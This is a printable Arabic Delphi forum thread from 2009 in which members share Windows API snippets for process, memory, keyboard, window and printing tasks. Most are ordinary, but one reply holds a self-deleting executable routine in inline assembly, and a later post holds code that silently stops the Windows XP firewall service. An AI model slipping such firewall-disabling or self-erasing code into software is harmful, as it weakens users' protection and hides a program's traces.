دو ال و أكواد متفرقة - نسخة قابلة للطباعة

دو ال و أكواد متفرقة - نسخة قابلة للطباعة

+- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum)
+-- قسم : منتديات دلفي للعرب التعليمية (https://delphi4arab.net/forum/forumdisplay.php?fid=3)
+--- قسم : مصادر دلفي مفتوحة تعليمية (https://delphi4arab.net/forum/forumdisplay.php?fid=14)
+--- الموضوع : دو ال و أكواد متفرقة (/showthread.php?tid=1166)

دو ال و أكواد متفرقة - MjIrIm - 02-09-2009

في البداية السلام عليكم

Kill Program

كود :
procedure KillProgram(Classname : string; WindowTitle : string);
const
PROCESS_TERMINATE = $0001;
var
ProcessHandle : THandle;
ProcessID: Integer;
TheWindow : HWND;
begin
TheWindow := FindWindow(PChar(Classname),PChar(WindowTitle));
GetWindowThreadProcessID(TheWindow, @ProcessID);
ProcessHandle := OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
TerminateProcess(ProcessHandle,4); 
end;

Clear The Console Screen

كود :
program Project1;
{$APPTYPE CONSOLE}
uses
Windows;
{$R *.RES}
var
sbi : TConsoleScreenBufferInfo;
i : integer;
begin
Writeln('A Console Applicaiton');
Writeln('Press Enter To Clear The Screen');
GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE),sbi);
Readln;
GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE),sbi);
for i := 0 to sbi.dwSize.y do writeln;
Writeln('Press Enter To End');
Readln;
end.

Check Url

كود :
uses wininet;
 
Function CheckUrl(url:string):boolean;
var
hSession, hfile, hRequest: hInternet;
dwindex,dwcodelen :dword;
dwcode:array[1..20] of char;
res : pchar;
begin
if pos('http://',lowercase(url))=0 then
url := 'http://'+url;
Result := false;
hSession := InternetOpen('InetURL:/1.0',INTERNET_OPEN_TYPE_PRECONFIG,nil, nil, 0);
if assigned(hsession) then
begin
hfile := InternetOpenUrl( hsession, pchar(url), nil, 0, INTERNET_FLAG_RELOAD, 0);
dwIndex := 0;
dwCodeLen := 10;
HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE, @dwcode, dwcodeLen, dwIndex);
res := pchar(@dwcode);
result:= (res ='200') or (res ='302');
if assigned(hfile) then InternetCloseHandle(hfile);
InternetCloseHandle(hsession);
end;
end

Set Num Lock

كود :
procedure SetNumLock(bState:Boolean);
var
KeyState : TKeyboardState;
begin
GetKeyboardState(KeyState); 
if ( (bState) and (not ((KeyState[VK_NUMLOCK] and 1)=1) ) or ( (not (bState)) and ((KeyState[VK_NUMLOCK] and 1)=1))) then
// Simulate a key press
keybd_event(VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or 0), 0);
// Simulate a key release
keybd_event( VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP), 0);
end;

Print Without TPrinter

كود :
uses CommDlg;

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);
var
Pd : TPrintDlg;
DocInfo: TDocInfo;
begin
FillChar(Pd, sizeof(Pd), #0);
Pd.lStructSize := sizeof(Pd);
Pd.hWndOwner := Form1.Handle;
Pd.Flags := PD_RETURNDC; 
if PrintDlg(pd) then
begin
FillChar(DocInfo, sizeof(DocInfo), #0);
DocInfo.cbSize := SizeOf(DocInfo);
GetMem(DocInfo.lpszDocName, 32);
GetMem(DocInfo.lpszOutput, MAX_PATH);
lStrCpy(DocInfo.lpszDocName, 'My Document');
{Add this line to print to a file }
lStrCpy(DocInfo.lpszOutput, 'C:\Download\Test.doc');
StartDoc(Pd.hDc, DocInfo);
StartPage(Pd.hDc);
TextOut(Pd.hDc, 100, 100, 'Page 1', 6);
EndPage(Pd.hDc);
StartPage(Pd.hDc);
TextOut(Pd.hDc, 100, 100, 'Page 2', 6);
EndPage(Pd.hDc);
EndDoc(Pd.hDc);
FreeMem(DocInfo.lpszDocName, 32);
FreeMem(DocInfo.lpszOutput, MAX_PATH);
end;

Format Drive

كود :
const SHFMT_DRV_A = 0;
const SHFMT_DRV_B = 1;
const SHFMT_ID_DEFAULT = $FFFF;
const SHFMT_OPT_QUICKFORMAT = 0;
const SHFMT_OPT_FULLFORMAT = 1;
const SHFMT_OPT_SYSONLY = 2;
const SHFMT_ERROR = -1;
const SHFMT_CANCEL = -2;
const SHFMT_NOFORMAT = -3;

function SHFormatDrive(hWnd : HWND;Drive : Word;fmtID : Word;Options : Word) : Longint
stdcall; external 'Shell32.dll' name 'SHFormatDrive';@ 

procedure TForm1.Button1Click(Sender: TObject);
var
FmtRes : longint;
begin
try 
FmtRes:= ShFormatDrive(Handle,SHFMT_DRV_A,SHFMT_ID_DEFAULT,SHFMT_OPT_QUICKFORMAT); 
case FmtRes of
SHFMT_ERROR : ShowMessage('Error formatting the drive');
SHFMT_CANCEL :
ShowMessage('User canceled formatting the drive');
SHFMT_NOFORMAT : ShowMessage('No Format')
else
ShowMessage('Disk has been formatted');
end;
except
end;
end;

Disable Caption Close Button

كود :
procedure DisableCaptionCloseButton(const FormHandle: THandle);
var
hMnu: THandle;
begin
hMnu := GetSystemMenu(FormHandle, FALSE);
EnableMenuItem(hMnu, SC_MINIMIZE, SC_CLOSE or MF_GRAYED);
end;

Enable Caption Close Button

كود :
procedure EnableCaptionCloseButton(const FormHandle: THandle);
var
hMnu: THandle;
begin 
hMnu := GetSystemMenu(FormHandle, FALSE);
EnableMenuItem(hMnu, SC_MINIMIZE, SC_CLOSE or MF_ENABLED);
end;

Font Add

كود :
function FontAdd(const FontFilename: string): Boolean;
begin 
result := (AddFontResource(PChar(ExtractFilePath(ParamStr(0) + FontFilename))) <> 0);
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0); 
end;

Font Remove

كود :
function FontRemove(const FontFilename: string): Boolean;
begin 
result := RemoveFontResource(PChar(ExtractFilePath(ParamStr(0) + FontFilename)));
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0); 
end;

Start New Browser Window

كود :
uses DdeMan;

procedure StartNewBrowserWindow(const URL: string);
var
DDEConv: TDDEClientConv;
URLFired: bool;
App: string;
UpApp: string;
p: array[0..MAX_PATH] of Char;
begin
UrlFired := False;
App := GetAssociatedProgram('HTM');  // <<-- Function GetAssociatedProgram is here
UpApp := Uppercase(App);
Delete(App, Pos('.EXE', UpAPP), Length(App));
if Pos('NETSCAPE.EXE',
   UpApp) > 0 then
begin
        DDEConv := TDDEClientConv.Create(nil);
        DDEConv.ServiceApplication := App;
        if DDEConv.SetLink('NETSCAPE', 'WWW_OpenURL') then
            if DDEConv.RequestData(URL + ',,0x0,0x0') <> nil then
                if DDEConv.SetLink('NETSCAPE', 'WWW_Activate') then
                URLFired := DDEConv.RequestData('0xFFFFFFFF,0x0') <> nil;
    DDEConv.Free;
end
else if Pos('IEXPLORE.EXE',
    UpApp) > 0 then
begin
        DDEConv := TDDEClientConv.Create(nil);
        DDEConv.ServiceApplication := App;
        if DDEConv.SetLink('iexplore', 'WWW_OpenURL') then
            if DDEConv.RequestData(URL + ',,0') <> nil then
                if DDEConv.SetLink('iexplore', 'WWW_Activate') then
                    URLFired := DDEConv.RequestData('0,0') <> nil;
    DDEConv.Free;
end;
if UrlFired = False then
    WinExec(StrPCopy(@p, URL), SW_SHOWNORMAL);
end;

Get Associated Program

كود :
function GetAssociatedProgram(const Ext: string): string;
var
{$IFDEF WIN32}
reg: TRegistry;
s: string;
{$ELSE}
WinIni: TIniFile;
WinIniFileName: array[0..MAX_PATH] of Char;
s: string;
{$ENDIF}
begin
{$IFDEF WIN32}
        s := '';
        reg := TRegistry.Create;
        reg.RootKey := HKEY_CLASSES_ROOT;
        if reg.OpenKey('.' + ext + '\shell\open\command',
            False) <> False then
begin
    {The open command has been found}
    s := reg.ReadString('');
    reg.CloseKey;
end
else
begin
    {perhaps thier is a system file pointer}
    if reg.OpenKey('.' + ext,
        False) <> False then
        begin
            s := reg.ReadString('');
            reg.CloseKey;
            if s <> '' then
            begin
                {A system file pointer was found}
                if reg.OpenKey(s + '\shell\open\command',
                    False) <> False then
                    {The open command has been found}
                    s := reg.ReadString('');
                reg.CloseKey;
            end;
        end;
    end;
{Delete any command line, quotes and spaces}
if Pos('%', s) > 0 then
    Delete(s, Pos('%', s), Length(s));
if ((Length(s) > 0) and
    (s[1] = '"')) then
    Delete(s, 1, 1);
if ((Length(s) > 0) and
    (Pos('"', s) > 0)) then
    Delete(s, Pos('"', s), Length(s));
while ((Length(s) > 0) and
    (s[Length(s)] = #32)) do
    Delete(s, Length(s), 1);
{$ELSE}
    GetWindowsDirectory(WinIniFileName, SizeOf(WinIniFileName));
    StrCat(WinIniFileName, '\win.ini');
    WinIni := TIniFile.Create(WinIniFileName);
    s := WinIni.ReadString('Extensions', ext, '');
    WinIni.Free;
    {Delete any command line}
    if Pos(' ^', s) > 0 then
        Delete(s, Pos(' ^', s), Length(s));
{$ENDIF}
    Result := s;
end;

و السلام.

يتبع...

دو ال و أكواد متفرقة - MjIrIm - 02-09-2009

في البداية السلام عليكم

Total Physical Memory

كود :
function TotalPhysicalMemory: Int64;
var
MemStat: TMemoryStatus;
begin
MemStat.dwLength := SizeOf(MemStat);
GlobalMemoryStatus(MemStat);
result := MemStat.dwTotalPhys;
end;

Total Page Memory

كود :
function TotalPageMemory: Int64;
var
MemStat: TMemoryStatus;
begin
MemStat.dwLength := SizeOf(MemStat);
GlobalMemoryStatus(MemStat);
result := MemStat.dwTotalPageFile;
end;

Available Page Memory

كود :
function AvailablePageMemory: Int64;
var
MemStat: TMemoryStatus;
begin
MemStat.dwLength := SizeOf(MemStat);
GlobalMemoryStatus(MemStat);
result := MemStat.dwAvailPageFile;
end;

Available Physical Memory

كود :
function AvailablePhysicalMemory: Int64;
var
MemStat: TMemoryStatus;
begin
MemStat.dwLength := SizeOf(MemStat);
GlobalMemoryStatus(MemStat);
result := MemStat.dwAvailPhys;
end;

Available Virtual Memory

كود :
function AvailableVirtualMemory: Int64;
var
MemStat: TMemoryStatus;
begin
MemStat.dwLength := SizeOf(MemStat);
GlobalMemoryStatus(MemStat);
result := MemStat.dwAvailVirtual;
end;

Memory Used Percentage

كود :
function MemoryUsedPercentage: Integer;
var
MemStat: TMemoryStatus;
begin
MemStat.dwLength := SizeOf(MemStat);
GlobalMemoryStatus(MemStat);
result := MemStat.dwMemoryLoad;
end;

Application Is Responding

كود :
function AppIsResponding(const ClassName: string; const TimeOut: Cardinal): Boolean;
var
Res: DWORD;
h: HWND;
bClassFound,
bSendMessage: Boolean;
begin
bSendMessage := FALSE;
h := FindWindow(PChar(ClassName), nil);
bClassFound := (h <> 0);
if bClassFound then
bSendMessage := (SendMessageTimeout(H,
WM_NULL,
0,
0,
SMTO_NORMAL or SMTO_ABORTIFHUNG,
TIMEOUT,
Res) <> 0);
result := (bClassFound and bSendMessage); 
end

App Exec

كود :
function AppExec(const CmdLine, CmdParams: string; const CmdShow: Integer): Boolean;
begin 
result := (ShellExecute(GetCurrentProcess,
'open',
PChar(CmdLine),
PChar(CmdParams),
'',
CmdShow) > 32); 
end;

App Restart

كود :
procedure AppRestart;
begin
AppExec(ParamStr(0), '', SW_SHOW);  // <<-- Function AppExec is here
TerminateProcess(GetCurrentProcess, 0);
end;

Exec And Wait

كود :
uses ShellAPI;

procedure ExecAndWait(const FileName, Params: string; const CmdShow: Integer);
var
exInfo: TShellExecuteInfo;
Ph: DWORD;
begin
        FillChar(exInfo, SizeOf(exInfo), 0);
        with exInfo do
        begin
            cbSize := SizeOf(exInfo);
            fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_FLAG_DDEWAIT;
            Wnd := GetActiveWindow();
            ExInfo.lpVerb := 'open';
            ExInfo.lpParameters := PChar(Params);
            lpFile := PChar(FileName);
            nShow := CmdShow;
end;
if ShellExecuteEx(@exInfo) then
    Ph := exInfo.HProcess
else
begin
    ShowMessage(SysErrorMessage(GetLastError));
    Exit;
end;
while WaitForSingleObject(ExInfo.hProcess, 50) <> WAIT_OBJECT_0 do
    ProcessMessages;
CloseHandle(Ph);
end;

App Maximize

كود :
procedure AppMaximize(hWin: HWND);
begin
SendMessage(hWin, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
end;

App Minimize

كود :
procedure AppMinimize(hWin: HWND);
begin
SendMessage(hWin, WM_SYSCOMMAND, SC_MINIMIZE, 0);
end;

Caps Lock State

كود :
function CapsLockState: Bool;
var
KS: TKeyboardState;
begin
GetKeyboardState(KS);
  if bool(ks[020]) then Result := True else Result := False;
end;

Shift State

كود :
function ShiftState: BOOL;
var
KS: TKeyboardState;
begin
GetKeyboardState(KS);
  if bool(ks[016]) then Result := True else Result := False;
end;

Insert State

كود :
function InsertState: BOOL;
var
KS: TKeyboardState;
begin 
GetKeyboardState(KS);
  if bool(ks[045]) then Result := True else Result := False; 
end

Num Lock State

كود :
function NumLockState: BOOL;
var
KS: TKeyboardState;
begin
GetKeyboardState(KS);
  if bool(ks[144]) then Result := True else Result := False;
end;

Contrl State

كود :
function ContrlState: BOOL;
var
KS: TKeyboardState;
begin
GetKeyboardState(KS);
    if bool(ks[017]) then Result := True else Result := False;
end;

Delete State

كود :
function DeleteState: BOOL;
var
KS: TKeyboardState;
begin 
GetKeyboardState(KS);
    if bool(ks[046]) then Result := True else Result := False; 
end;

و السلام.

دو ال و أكواد متفرقة - AL-MOB4RM3G - 03-09-2009

شكرا لك اخي الكريم,, اكوآد مفيدة,,

لكن اخي الكريم,,

في كود لل Get Associated Program

هناك كود كما في الأسفل,,

PHP كود :
var
{$IFDEF WIN32}
reg: TRegistry;
s: string;
{$ELSE}
WinIni: TIniFile;
WinIniFileName: array[0..MAX_PATH] of Char;
s: string;
{$ENDIF}
begin 

الغريب بانسبة لي هو التآلي,,

PHP كود :
$IFDEF WIN32
{$ELSE}
{$ENDIF} 

ماذا تعني هذه علآمت الدولآر ؟ التي هي قبل الكلمآت ؟

ولماذا هناك كلمات ال If, then,endif وو الى آخره معرفة تحت المتغيّرات ؟ يعني هل هذه اسمآء متغيّرات ؟, لا, لا اظن لذلك ؟؟؟

بارك الله لك

دو ال و أكواد متفرقة - kachwahed - 03-09-2009

إقتباس :ولماذا هناك كلمات ال if, then,endif وو الى آخره معرفة تحت المتغيّرات ؟ يعني هل هذه اسمآء متغيّرات ؟, لا, لا اظن لذلك ؟؟؟

مممممم معك حق أخي المبرمج :disgust:...
لماذا تصنع شركات برامج التطوير أشياء مبهمة أحيانا :brow:...
هذه الرموز هي موجهات للمترجم وهي ما يعرف بـ Directives،مثلا:

كود :
$IFDEF WIN32 
{$ELSE} 
{$ENDIF}

تعني FDEF WIN32 شرط أي
IF System IS Win32
للتحقق من أننا في نظام ويندوز 32 bit
وELSE تعرفها... صح :laugh:
و ENDIF تعني نهاية IF
فإذا كنا في ويندوز فسيقوم الـ Compiler بتنفيذ ما هو موجود في نطاق الشرط IF وإلا فسيقوم بما هو مكتوب في مجال ELSE.
في المثال تم التحقق من وجود نسخة ويندوز لأن Registry غير موجود في Linux.
ومثل هذا ما يستخدم لكتابة كود يعمل على جميع (أو أكثر) نسخ دلفي، وذلك بكتابة شرط التحقق من نسخة دلفي المستخدمة، وهذا يسمح لك بتوزيع مكونات متوافقة مع معظم نسخ دلفي، مثال:

كود :
{$DEFINE DELPHI6UP}

للنسخ Delphi6 فما فوق، أو:

كود :
var
  {$IFDEF VER120}
  I: TColorRef;
  {$ELSE}
  I: Integer;
  {$ENDIF}

علما أن:

كود :
*VER70 is Borland Pascal 7.0
*VER80 is Delphi 1.0
*VER90 is Delphi 2.0
*VER93 is BCB++ 1.0
*VER100 is Delphi 3.0
*VER110 is BCB++ 3.0
*VER120 is Delphi 4.0
*VER125 is BCB++4.0
*VER130 is Delphi 5.0

كنت سأكتب موضوع عنها، ربما لاحقا
هناك مواضيع أخرى في رأسي، ربما يسعفنى الوقت لها :cryss: في المستقبل.
شكرا كثيرا على الأكواد أخي MjIrIm بالتوفيق.
بالتوفيق أخي المبرمج.

دو ال و أكواد متفرقة - musvc - 03-09-2009

[COLOR="Indigo"]حقا ً اكواد مفيدة !
اكثر شيئ سيفيدني هو : Clear The Console Screen
سأستخدمه و ادعي لك Smile

[/COLOR]

دو ال و أكواد متفرقة - me_delphi - 03-09-2009

حدف البرنامج نفسه (منقول)

PHP كود :
program delself;

 uses
   windows;

 procedure DeleteSelf;
 var
   module: HMODULE;
   buf: array[0..MAX_PATH - 1] of char;
   p: ULONG;
   hKrnl32: HMODULE;
   pExitProcess, pDeleteFile, pFreeLibrary: pointer;
 begin
   module := GetModuleHandle(nil);
   GetModuleFileName(module, buf, sizeof(buf));
   CloseHandle(THandle(4));
   p := ULONG(module) + 1;
   hKrnl32 := GetModuleHandle('kernel32');
   pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');
   pDeleteFile := GetProcAddress(hKrnl32, 'DeleteFileA');
   pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');
   asm
     lea eax, buf
     push 0
     push 0
     push eax
     push pExitProcess
     push p
     push pDeleteFile
     push pFreeLibrary
     ret
   end;
 end;

 begin
   DeleteSelf;
 end. 

دو ال و أكواد متفرقة - MjIrIm - 22-09-2009

في البداية السلام عليكم

Get Active Window Caption

كود :
function ActiveCaption: string;
var
  Handle: THandle;
  Len: LongInt;
  Title: string;
begin
  Result := '';
  Handle := GetForegroundWindow;
  if Handle <> 0 then
  begin
    Len := GetWindowTextLength(Handle) + 1;
    SetLength(Title, Len);
    GetWindowText(Handle, PChar(Title), Len);
    ActiveCaption := TrimRight(Title);
  end;
end;

Disable XP Firewall

كود :
uses
  Windows, winsvc, shellapi;
 
procedure Close_Firewal;
var
  SCM, hService: LongWord;
  sStatus: TServiceStatus;
begin
  SCM      := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  hService := OpenService(SCM, PChar('SharedAccess'), SERVICE_ALL_ACCESS);

  ControlService(hService, SERVICE_CONTROL_STOP, sStatus);
  CloseServiceHandle(hService);
end;

begin
  Close_Firewal;
end.

و السلام.